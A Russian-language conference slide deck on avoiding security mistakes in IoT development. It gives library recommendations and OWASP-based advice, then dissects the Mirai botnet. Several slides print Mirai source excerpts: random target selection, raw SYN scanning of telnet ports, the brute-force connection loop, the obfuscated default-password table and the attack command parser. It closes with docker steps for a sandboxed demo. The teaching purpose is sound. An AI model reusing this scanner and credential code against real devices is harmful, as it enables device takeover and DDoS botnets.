1 of 68

Как не накосячить в разработке IoT-устройств

Дронов Михаил

2 of 68

План работ

  • Поговорим про IoT в целом
  • Поговорим про железки
  • Поговорим про сесурити либы
  • Поговорим о Mirai
  • Посмотрим исходный код
  • На афтепати запустим в докере

3 of 68

Дивный новый мир IoT

4 of 68

Но что такое �“Internet of things”?

Миллиард железок, общающихся между собой и друг с другом и влияющих на нашу жизнь

5 of 68

Это то, что мы видим

6 of 68

Это то, что мы носим

7 of 68

Это то, что в чём мы ездим

8 of 68

Это то, что мы смотрим

9 of 68

Это то, чем мы лечимся

10 of 68

Это то, что видим в подъездах

11 of 68

Это то, с чем мы живем

12 of 68

И всё это в интернете

13 of 68

А раз в интернете, то...

14 of 68

“S” в аббревиатуре�“IoT”

означает “Security”

15 of 68

А значит

  • Устройства ломаются
  • Сливаются данные
  • Людям некомфортно
  • Останавливаются АЭС
  • Ломаются автомобили на ходу
  • Создаются ботнеты

16 of 68

Масштаб трагедии

17 of 68

Масштаб трагедии

18 of 68

IoT-ботнеты

  • Mirai
  • Hakai
  • Hide and Seek
  • Gafgyt (bashlite)
  • The Impact
  • Linux.Aidra

19 of 68

Типичная жертва

  • Роутер, камера, Smart Home, RPi, etc с Linux (Android, Tizen) на борту
  • STM8/32, ESP8266/32, AtTiny, Arduino или другой baremetal
  • Не очень много RAM
  • Не очень много ROM
  • Довольно старый софт

20 of 68

Пример: роутер с старой OpenWRT

21 of 68

Типичный разработчик

  • Инженер в большой компании
  • Инженер в стартапе
  • Не всегда понятная �бизнес-модель
  • *уяк-*уяк и в продакшен! [???]
  • О безопасности подумаем �когда-нибудь “потом”

22 of 68

И где он обитает

23 of 68

Что делают нехорошие инженеры?

или топ-лист OWASP IoT 2018

24 of 68

Ты — бяка, если

  • Юзаешь простые угадываемые пароли
  • Используешь потенциально уязвимые сетевые службы
  • Пишешь косячные API, юзаешь старые либы шифрования, забыл про аутентификацию
  • Не думаешь, как правильно обновлять девайсы
  • Забил на обновление ВСЕГО софта

25 of 68

Ты — бяка, если

  • Не думаешь о личной безопасности юзеров
  • Не настроил SSL для передачи данных
  • Забил на обновления девайсов в продакшене
  • Поставил дефолтный логопасс admin:admin
  • Оставил пасхалок злоумышленникам��https://www.owasp.org/index.php/OWASP_Internet_of_Things_Project

26 of 68

Рандомная прошивка ESP8266 из интернета

27 of 68

Полезные советы

28 of 68

Используйте:

  • TLS версии >= 1.2
  • Если Bluetooth, то версии 4.2 с OOB (Out of bond) или numerical comparison pairing method
  • На Raspberry Pi: �wolfSSL / wolfCrypt (весит в 20 раз меньше, чем OpenSSL)

GUARD TLS-TK

  • Arduino:�Arduino WiFi shield с TLS 1.1�WolfSSL https://github.com/wolfSSL/wolfssl/tree/master/IDE/ARDUINO
  • ESP 8266: �WiFiClientSecure c TLS https://github.com/adafruit/Adafruit_MQTT_Library/blob/master/examples/mqtt_esp8266/mqtt_esp8266.ino

29 of 68

Используйте:

Encryption

NaCl or libsodium (NaCl fork) - просто, быстро и секурно�tiny-aes – AES128 CBC

Arduino Cryptographic Library – AES128 CBC or EAX, Speck

Digital Signatures

NaCl or libsodium (NaCl fork)

Arduino Cryptographic Library – ECC Curve Ed25519

nano-ecc - a very small ECDH (6KB) and ECDSA (7 KB) implementation

for 8-bit microcontrollers

Hashing

NaCl or libsodium (NaCl fork)

Arduino Cryptographic Library – use SHA-512

30 of 68

Используйте:

  • Busybox последней версии

https://git.busybox.net/

  • Сесурити патчи к hostapd и WPA Supplicant�https://w1.fi/security/
  • Ядро Linux посовременнее (где можно)�https://git.kernel.org/

31 of 68

Mirai

32 of 68

Факты

  • Появился в сети в сентябре 2016
  • ~500 000 инфицированных устройств
  • 30 поддерживаемых архитектур железок
  • 665 ГБит/с в пике
  • Авторов задержали, но не посадили
  • Форки юзают 27 эксплойтов в 2019�

33 of 68

Охват

  • 164 страны�

34 of 68

Диапазон атак

  • Straight up UDP flood
  • Valve Source Engine query flood
  • DNS water torture
  • SYN flood with options
  • ACK flood
  • ACK flood to bypass mitigation devices
  • GRE IP flood
  • GRE Ethernet flood
  • Plain UDP flood optimized for speed
  • HTTP layer 7 flood

35 of 68

Архитектура

Master [has many] slave

cnc infected devices

36 of 68

cnc (command and)

37 of 68

Атакует девайсы брутфорсом

  • root xc3511
  • root vizxv
  • root admin
  • admin admin
  • root 888888
  • root xmhdipc
  • root default
  • root (none)
  • admin password
  • root root

38 of 68

Прикидывается паинькой

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7

39 of 68

Захватывает устройство

  • killer_kill_by_port(htons(23))
  • killer_kill_by_port(htons(22))
  • killer_kill_by_port(htons(80))

40 of 68

Убивает на девайсе другие ботнеты

#DEFINE TABLE_MEM_QBOT // REPORT %S:%S

#DEFINE TABLE_MEM_QBOT2 // HTTPFLOOD

#DEFINE TABLE_MEM_QBOT3 // LOLNOGTFO

#DEFINE TABLE_MEM_UPX // \X58\X4D\X4E\X4E\X43\X50\X46\X22�#DEFINE TABLE_MEM_ZOLLARD // ZOLLARD

41 of 68

Убивает на девайсе малварь Anime

searching for .anime process

table_unlock_val(TABLE_KILLER_ANIME);

// If path contains ".anime" kill.

if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1)

{

unlink(realpath);

kill(pid, 9);

}

table_lock_val(TABLE_KILLER_ANIME);

42 of 68

From Russia with Love? (нет)

// Get username �this.conn.SetDeadline(time.Now().Add(60 * time.Second)) this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))

// Get password

this.conn.SetDeadline(time.Now().Add(60 * time.Second)) this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))

43 of 68

Как происходит инфицирование и атака с устройств

44 of 68

Сгенерим случайным образом ip жертв

static ipv4_t get_random_ip(void)

{

uint32_t tmp;

uint8_t o1, o2, o3, o4;

do

{

tmp = rand_next();

o1 = tmp & 0xff;

o2 = (tmp >> 8) & 0xff;

o3 = (tmp >> 16) & 0xff;

o4 = (tmp >> 24) & 0xff;

}

while (o1 == 127 || // 127.0.0.0/8 - Loopback

(o1 == 0) || // 0.0.0.0/8 - Invalid address space

(o1 == 3) || // 3.0.0.0/8 - General Electric Company

(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company

(o1 == 56) || // 56.0.0.0/8 - US Postal Service

(o1 == 10) || // 10.0.0.0/8 - Internal network

(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network

(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network

(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved

(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved

(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use

(o1 >= 224) || // 224.*.*.*+ - Multicast

(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense

);

return INET_ADDR(o1,o2,o3,o4);

}

45 of 68

SYN сканнинг

// Set up raw socket scanning and payload

if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)

{

#ifdef DEBUG

printf("[scanner] Failed to initialize raw socket, cannot scan\n");

#endif

exit(0);

}

46 of 68

Попробуем послушать ответы жертв

if (fake_time != last_spew)

{

last_spew = fake_time;

for (i = 0; i < SCANNER_RAW_PPS; i++)

{

struct sockaddr_in paddr = {0};

struct iphdr *iph = (struct iphdr *)scanner_rawpkt;

struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

iph->id = rand_next();

iph->saddr = LOCAL_ADDR;

iph->daddr = get_random_ip();

iph->check = 0;

iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

if (i % 10 == 0)

{

tcph->dest = htons(2323);

}

else

{

tcph->dest = htons(23);

}

tcph->seq = iph->daddr;

tcph->check = 0;

tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

paddr.sin_family = AF_INET;

paddr.sin_addr.s_addr = iph->daddr;

paddr.sin_port = tcph->dest;

sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));

}

}

47 of 68

Попробуем TCP хендшейк

errno = 0;

n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);

if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)

break;

if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))

continue;

if (iph->daddr != LOCAL_ADDR)

continue;

if (iph->protocol != IPPROTO_TCP)

continue;

if (tcph->source != htons(23) && tcph->source != htons(2323))

continue;

if (tcph->dest != source_port)

continue;

if (!tcph->syn)

continue;

if (!tcph->ack)

continue;

if (tcph->rst)

continue;

if (tcph->fin)

continue;

if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)

continue;

conn = NULL;

for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)

{

if (conn_table[n].state == SC_CLOSED)

{

conn = &conn_table[n];

last_avail_conn = n;

break;

}

}

48 of 68

Если TCP хендшейк ок, го соединяться

FD_ZERO(&fdset_rd);

FD_ZERO(&fdset_wr);

for (i = 0; i < SCANNER_MAX_CONNS; i++)

{

int timeout;

conn = &conn_table[i];

timeout = (conn->state > SC_CONNECTING ? 30 : 5);

if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)

{

#ifdef DEBUG

printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);

#endif

close(conn->fd);

conn->fd = -1;

// Retry

if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again

{

if (++(conn->tries) == 10)

{

conn->tries = 0;

conn->state = SC_CLOSED;

}

else

{

setup_connection(conn);

#ifdef DEBUG

printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);

#endif

}

}

else

{

conn->tries = 0;

conn->state = SC_CLOSED;

}

continue;

}

49 of 68

И начинаем подбoр

if (FD_ISSET(conn->fd, &fdset_rd))

{

while (TRUE)

{

int ret;

if (conn->state == SC_CLOSED)

break;

if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)

{

memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);

conn->rdbuf_pos -= SCANNER_HACK_DRAIN;

}

errno = 0;

ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);

if (ret == 0)

{

#ifdef DEBUG

printf("[scanner] FD%d connection gracefully closed\n", conn->fd);

#endif

errno = ECONNRESET;

ret = -1; // Fall through to closing connection below

}

if (ret == -1)

{

if (errno != EAGAIN && errno != EWOULDBLOCK)

{

#ifdef DEBUG

printf("[scanner] FD%d lost connection\n", conn->fd);

#endif

close(conn->fd);

conn->fd = -1;

// Retry

if (++(conn->tries) >= 10)

{

conn->tries = 0;

conn->state = SC_CLOSED;

}

else

{

setup_connection(conn);

#ifdef DEBUG

printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);

#endif

}

}

50 of 68

Опять неполный список паролей

add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511

add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv

add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin

add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin

add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888

add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc

add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default

add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech

add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456

add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321

add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support

add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)

add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password

add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root

add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345

add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user

add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)

add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass

add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234

add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111

add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin

add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111

add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666

add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password

add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234

add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123

add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin

add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service

add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor

add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest

51 of 68

Начинаем атаку с девайса

void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);�вызываем далее�void attack_parse(char *buf, int len)

{

int i;

uint32_t duration;

ATTACK_VECTOR vector;

uint8_t targs_len, opts_len;

struct attack_target *targs = NULL;

struct attack_option *opts = NULL;

// Read in attack duration uint32_t

if (len < sizeof (uint32_t))

goto cleanup;

duration = ntohl(*((uint32_t *)buf));

buf += sizeof (uint32_t);

len -= sizeof (uint32_t);

// Read in attack ID uint8_t

if (len == 0)

goto cleanup;

vector = (ATTACK_VECTOR)*buf++;

len -= sizeof (uint8_t);

// Read in target count uint8_t

if (len == 0)

goto cleanup;

targs_len = (uint8_t)*buf++;

len -= sizeof (uint8_t);

if (targs_len == 0)

goto cleanup;

// Read in all targs

if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))

goto cleanup;

targs = calloc(targs_len, sizeof (struct attack_target));

for (i = 0; i < targs_len; i++)

{

targs[i].addr = *((ipv4_t *)buf);

buf += sizeof (ipv4_t);

targs[i].netmask = (uint8_t)*buf++;

len -= (sizeof (ipv4_t) + sizeof (uint8_t));

targs[i].sock_addr.sin_family = AF_INET;

targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;

}

// Read in flag count uint8_t

if (len < sizeof (uint8_t))

goto cleanup;

opts_len = (uint8_t)*buf++;

len -= sizeof (uint8_t);

// Read in all opts

if (opts_len > 0)

{

opts = calloc(opts_len, sizeof (struct attack_option));

for (i = 0; i < opts_len; i++)

{

uint8_t val_len;

// Read in key uint8

if (len < sizeof (uint8_t))

goto cleanup;

opts[i].key = (uint8_t)*buf++;

len -= sizeof (uint8_t);

// Read in data length uint8

if (len < sizeof (uint8_t))

goto cleanup;

val_len = (uint8_t)*buf++;

len -= sizeof (uint8_t);

if (len < val_len)

goto cleanup;

opts[i].val = calloc(val_len + 1, sizeof (char));

util_memcpy(opts[i].val, buf, val_len);

buf += val_len;

len -= val_len;

}

}

errno = 0;

attack_start(duration, vector, targs_len, targs, opts_len, opts);

52 of 68

А теперь запустим ботнет в докере в закрытой сети!

53 of 68

[эмулируем]

54 of 68

Добавим локальный docker registry

vi /etc/docker/daemon.json��{

"insecure-registries" : "192.168.1.X:5000"]

}

docker login 192.168.1.x:5005

55 of 68

Скачаем образ с cnc mirai

docker pull 192.168.1.X:5005/cnc

docker tag 192.168.1.X:5005/cnc cnc

56 of 68

Скачаем образ scanner && loader

docker pull 192.168.1.X:5005/loader

docker tag 192.168.1.X:5005/loader loader

57 of 68

Скачаем образ с первым ботом

docker pull 192.168.1.X:5005/bot

docker tag 192.168.1.X:5005/bot bot

58 of 68

Скачаем образ с вторым ботом

docker pull 192.168.1.X:5005/bot2

docker tag 192.168.1.X:5005/bot2 bot2

59 of 68

Создадим закрытую сеть

docker network create --subnet=172.20.0.0/16 botnet

60 of 68

Запустим жертву

docker run --net botnet -i -t bot2

./init.sh

watch ps -e

61 of 68

Запустим сnc

docker run --net botnet -i -t bot2

./init.sh

watch ps -e

62 of 68

Запустим scanner && loader

docker run --net botnet --ip 172.20.0.4 -i -t loader

/init.sh

63 of 68

Запустим ещё бота и сканирование жертв

docker run --net botnet -i -t bot

./init.sh 1

64 of 68

Поехали!

65 of 68

До сканирования

66 of 68

После сканирования

67 of 68

Напоследок:

  • Следите за софтом железок
  • Следите за софтом разработки
  • Чаще и больше шифруйте
  • Проверяйте обновления производителей
  • Не используйте простые пароли
  • Ставьте фаерволл
  • Читайте рекомендации OWASP
  • Используйте OpenWRT и собирайте свои прошивки

68 of 68

Спасибо!

tg: @dronov